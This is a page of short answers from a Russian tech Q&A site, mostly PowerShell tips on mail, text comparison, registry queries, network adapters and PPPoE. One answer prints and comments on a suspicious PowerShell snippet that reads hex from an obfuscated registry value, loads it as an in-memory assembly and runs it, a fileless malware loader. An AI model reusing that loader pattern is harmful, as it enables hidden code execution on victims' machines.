Задать вопрос
  • Ноутбук издает тихий скрип. В чем дело?

    @pfg21
    ex-турист
    еще как вариант, свистят магнитопроводы преобразователей питания.
    магнитопроводы делают из двух половинок и склеивают вокруг обмоток. если шов плохой или "разболтался" то из-за магнитострикции детальки начинают вибрировать и производить звуки.
    Ответ написан
    4 комментария
  • Отправка письма через Powershell. В чем ошибка?

    @MaxKozlov Куратор тега PowerShell
    465 порт - smtps. оно .net не поддерживается
    https://docs.microsoft.com/en-us/dotnet/api/system...
    тут пишут что используется StartTLS, а значит надо другой порт использовать - 587
    и starttls:
    $SMTPClient.EnableSsl = $true

    Возможно, ещё понадобится

    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12


    а вот тут большая дискуссия с примерами, что ещё надо в учётке гугла включить (access to less secure app)
    https://stackoverflow.com/questions/32260/sending-...
    Ответ написан
    Комментировать
  • Windows 10 при подключени usb уходит в аут. Почему?

    hint000
    @hint000
    у админа три руки
    С вероятностью 90% это физическая проблема с портом (точнее с разъёмом в корпусе). Обычно решается так: не использовать проблемный порт; чтобы не использовать по забывчивости, можно заклеить скотчем.
    Другие методы:
    • Взять паяльник и исправить, если исправляется. :) Но таким мало кто занимается.
    • Купить новый корпус и перекидать всё железо из старого в новый корпус.

    Оставшиеся 10% - это тоже физическая проблема, но на материнской плате. Первый способ решения (не использовать проблемный порт) работает и в этом случае.
    Ответ написан
    1 комментарий
  • Как найти и вывести повторяющиеся строки в текстовом файле?

    @AAT666
    $f0 = Get-Content -Path C:\tmp\file_0.txt
    $f1 = Get-Content -Path C:\tmp\file_1.txt
    
    [system.linq.enumerable]::Intersect([object[]]$f0, [object[]]$f1) | Out-File -FilePath C:\tmp\file_2.txt
    Ответ написан
    Комментировать
  • Как найти и вывести повторяющиеся строки в текстовом файле?

    @MaxKozlov Куратор тега PowerShell
    Похоже, вам поможет нечто типа того (почти на c#):
    $c = [string[]](Get-Content .\0.txt)
    $sk1 = [System.Collections.Generic.HashSet[string]]::new($c)
    $c = [string[]](Get-Content .\1.txt)
    $sk2 = [System.Collections.Generic.HashSet[string]]::new($c)
    $sk1.IntersectWith($sk2)
    $sk1

    на ваших данных выдало то что надо (правда, не сортированное в том же порядке)
    Ну и по памяти - всё в память грузится
    Ответ написан
    Комментировать
  • Удалить определенные строки Powershell?

    @MaxKozlov Куратор тега PowerShell
    Надо при получении ID сразу его и выбирать и записывать, а не парсить кривой текстовый вывод.

    Хотя и его можно - сначала убрать перевод строки между [ и следующей строкой, потом оставить только такие строки, а потом убрать "["

    но лучше собирать сразу так
    Get-PnpDevice |
     Where {$_.HardwareID -notmatch 'PRINTENUM*|ROOT*|SW*|ACPIAPIC*|MONITOR*'} |
     Foreach { $_.HardwareID | Select -first 1 }
    Ответ написан
    1 комментарий
  • Запуск Ethernet адаптера программно (с помощью Bath или PowerShell)?

    @MaxKozlov Куратор тега PowerShell
    Есои рескан в Device manager в контрольной панели ничего не находит, значит софт врятли поможет.
    можно поискать что-нибудь в devcon, типа
    devcon rescan
    devcon reset
    devcon find(all)
    Скорее всего ресет железяка хочет.
    отключить quick-boot?
    Ответ написан
    Комментировать
  • Как решить проблему с выводом значений из реестра через Invoke-Command?

    @MaxKozlov Куратор тега PowerShell
    Проще один раз всё загнать в один вызов.
    Так и работать будет в разы быстрее и запустить можно одновременно на несколько компов, только в вывод надо имя компа включить

    invoke-command -comp $comp {
      # а здесь все красоты
      # причём циклом
      $source @(
        @{ key name= '''; valuename=''},
        @{ key name= '''; valuename=''}
      )
      foreach ($src in $source) {
        get-itemproperty -path $src.keyname | select -expandproperty $src.valuename
      }
    }

    test опустил...
    Проблема у вас в select-object

    стандартный вызов, если он со свойствами, пытается подстроить последующий вывод под предыдущие возвращённые свойства. если вы вначале просите свойство "ProductID", то и в последующем вызове PS ждёт свойство ProductID, которого нет, вы подсовываете ему "SerialNumber"

    Для этого в моём варианте используется параметр ExpandProperty, который превращает объект в строку
    Ответ написан
    1 комментарий
  • Как использовать PowerShell Select-String для фильтрации вывода по нескольким условиям?

    john36allTa
    @john36allTa
    alien glow of a dirty mind
    используя регулярку:
    NETSTAT -ano -p TCP  | Select-String -pattern '^(?!.*?127\.0\.0\.1:1433\s|.*?10\.10\.10\.5:80\s).*ESTABLISHED'
    Ответ написан
    Комментировать
  • Как перекладывать файлы по разным маршрутам?

    @res2001
    Developer, ex-admin
    Аналогичные решения на самописных скриптах регулярно встречал в enterprise среде, да и сам использовал. Потому что гибко, можно заточить как хочется, со всеми вывертами enterprise окружения. Никакой готовый софт обычно не в состоянии обеспечить все потребности на 100%, поэтому используют самописные скрипты.
    На батниках все ваши хотелки можно реализовать, используя дополнительные инструменты командной строки. Если плохо знаете язык, то можете использовать любой известный скриптовый язык или подучить cmd, там не весть какая премудрость. В винде кроме cmd и posh из коробки есть еще VBScript и JScript их то же можно использовать. Хорошо для подобных задач подходит python, но его придется ставить отдельно, часто это бывает не приемлемо.
    Ответ написан
    Комментировать
  • Были ли трудности в работе с Western Digital 4Tb Blue WD40EZRZ на сервере DELL PowerEgde R720 8xLFF?

    @Tabletko
    никого не трогаю, починяю примус
    Работать работают, но в idrac висит non-critical error как неподдерживаемый диск
    Ответ написан
    Комментировать
  • Сравнение двух массивов в Powershel?

    @MaxKozlov Куратор тега PowerShell
    Вам потребуется преобразовать ваши hastable в [PSCustomObject] и
    изучить возможности Compare-Object

    Преобразовать просто - [PSCustomObject]$hastable
    А потом, когда у вас будут объекты, а не хеши, их можно сравнивать по отдельным свойствам
    В частности, можно будет попробовать
    #...
    # вместо # $stammArtikelWebseite += $newRoW
    $stammArtikelWebseite += [PSCustomObject]$newRoW
    # ...
    # то что в $Import - уже объекты, их можно менять на месте
    # или также из вашего хеша сделать 
    # вместо # $stammArtikelcsv += $newRow1
    $stammArtikelcsv += [PSCistomObject]$newRow1
    #...
    
    # А потом:
    Compare-Object -ReferenceObject  $stammArtikelWebseite  -DifferenceObject $stammArtikelcsv -Property preisohne
    Ответ написан
    1 комментарий
  • Как с помощью Powershell установить соединение PPPoE?

    @Igor_Ya
    К сожалению это выводит лишь окошечко подключения, за которым ещё окошечко и т.д. Это не подключает.
    Хотя в Windows 8 это окно выводило на подключению сразу, без новых безумных metro окон.

    $itemName = 'Ростелеком'
    $pressIt = 'Подкл&ючить/отключить'
    $sa = New-Object -ComObject Shell.Application
    $sa.NameSpace(49).Items() | foreach ({
        if($_.Name -eq $itemName){
            $_.Verbs() | foreach ({
                if ($_.name -eq $pressIt){
                    $_.DoIt()
                    break
                }
            })
        }
    })


    Похоже сам запрос "не прибегая к rasphone.exe и rasdial.exe" бессмысленен ... по крайней мере в отношении к rasdial.exe.
    Дело в том, что судя по всему, он просто является "входными воротами" в процесс программного подключения, если пользователь пожелает это сделать. И дальнейший его путь пойдёт теми же dll-ками и исполняемыми файлами, которые активируются стандартным нажатием кнопки подключить.
    Простейший скрипт Powershell
    $x='Ростелеком'
    $a='login';
    $b='password';
    $c=$env:WINDIR+'\System32\rasdial.exe';
    &$c @($x,$a,$b) 2>&1|ForEach{
             $_
    };

    выведет вам ровно те же ошибки и сообщения, которые вы видите при обычном подключении.
    То, что нужно вводить имя подключения Ростелеком к примеру - ни о чём не говорит, его можно взять из реестра.
    HKEY_USERS\'+ваш GUID+'\Software\Microsoft\RAS Phonebook
    параметр DefaultEntry - Подключение по умолчанию.
    Ну а логин и пароль - чтобы все программы массово не стали ломиться в открытые ворота.
    Важно, если не хотите увидеть крякозябры, не запускайте в среде powershell ISE.
    Запуск стандартным Powershell файла ps.1 при помощи ярлыка
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "G:\mypath\name.ps1"
    Ответ написан
    Комментировать
  • Что бы значил такой процесс?

    @alhaos
    function DE0PB([string]$s) {
       $H = @()
       for ($i = 0; $i -lt $s.Length; $i += 2) {
          $H += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber);
       };
       return $H; 
    };
    # функция распарсивает строку записаную hex симвалами по два в байты
    $_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci' -name 'dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci').dMRLYUkOsPUxocGwuwjSSNZqQMPtNbLhGeyfrlsTCBSrqqahIWUJATEASqgIDqPZzXxZCGzpzpyDoPIChjZuJhLYZdhmoJluOBhsbpci;
    # зачение ключа реестра в $_b
    $_b = $_b.replace('Р•', 'E');
    # замена в нем Р• на E
    [byte[]]$_0 = DE0PB($_b);
    # строковое значение распарсивается на байты
    $_1 = [System.Threading.Thread]::GetDomain().Load($_0); $_1.EntryPoint.invoke($null, $null);
    # тут она запускается )))
    Ответ написан
    Комментировать
  • Почему при экспорте в эксель PowerShell добавляет лишнию информацию?

    @MaxKozlov Куратор тега PowerShell
    Потому что у DataRow есть эти свойства
    https://docs.microsoft.com/ru-ru/dotnet/api/system...
    Их можно исключить примерно вот так
    $result.Tables.Item($i) | Select-Object -Property * -ExcludeProperty RowError,RowState,Table,ItemArray,HasErrors | Export-Excel
    Ответ написан
    3 комментария
  • Вытянуть строку с PowerShell?

    firedragon
    @firedragon
    Не джун-мидл-сеньор, а трус-балбес-бывалый.
    ipconfig /all | findstr "Physical"
    Ответ написан
    4 комментария
  • Как скачать файл с помощью Powershell с сайта с авторизацией?

    @MaxKozlov Куратор тега PowerShell
    Сессии, судя по всему
    Пару запросов + параметры -SessionVariable/-WebSession
    Ответ написан
    Комментировать
  • Прилетело задание и никак не могуего испольнить на cmd и ps сможет кто помочь?

    @MaxKozlov Куратор тега PowerShell
    1..100 | foreach-Object {
       Move-Item "Path/To/File/$($_)file.log" -Destination "Path/To/Folder/$($_)folder"
    }


    Так, ради спортивного интереса, на CMD :)
    @for /L %%a IN (1,1,100) do @echo move "source/dir/%%afile.log" "dest/dir/%%afolder"

    echo, естественно, убрать
    Ответ написан
    Комментировать
  • Есть ли смысл обращаться в Полицию после взлома трех серверов одного и того же провайдера?

    @mrAndersen7 Автор вопроса
    none7, Так точно, был взломан ЛК "Провайдера А", лог айпи показывает как раз те самые "Самарские адреса", что касаемо защиты, безусловно я это уже предпринял. Про ЛК провайдера сразу не подумал конечно, в голову почему-то не пришло. Что касается того как это было сделано - лет 8 назад в интернет утек пароль от одного из моих почтовых ящиков, который как раз и стоял у "Провайдера А", поэтому тут у меня удивления как раз нет. В общем всё оказалось куда проще
    Ответ написан
    1 комментарий
  • Книги,статьи по powershell?

    @MaxKozlov Куратор тега PowerShell
    Комментировать